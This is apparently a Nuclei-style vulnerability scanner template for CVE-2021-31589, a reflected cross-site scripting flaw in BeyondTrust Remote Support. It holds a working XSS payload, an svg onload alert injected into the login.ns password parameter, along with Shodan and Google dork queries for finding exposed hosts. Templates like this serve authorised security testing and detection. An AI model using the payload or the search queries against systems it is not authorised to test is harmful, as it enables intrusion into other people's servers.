id: CVE-2021-31589

info:
  name: BeyondTrust Remote Support Reflected XSS
  author: Ahmed Abou-Ela
  severity: medium
  description: Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML.
  reference:
    - https://packetstormsecurity.com/files/165408
    - https://cxsecurity.com/issue/WLB-2022010013
    - https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-31589
    cwe-id: CWE-79
  metadata:
    shodan-query: 'set-cookie: nsbase_session'
    google-dork: '"BeyondTrust" "Redistribution Prohibited"'
  tags: cve,cve2021,beyondtrust,bomgar,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"

    matchers-condition: and
    matchers:
      - type: word
        case-insensitive: true
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'
          - 'bomgar'
        condition: and

      - type: status
        status:
          - 200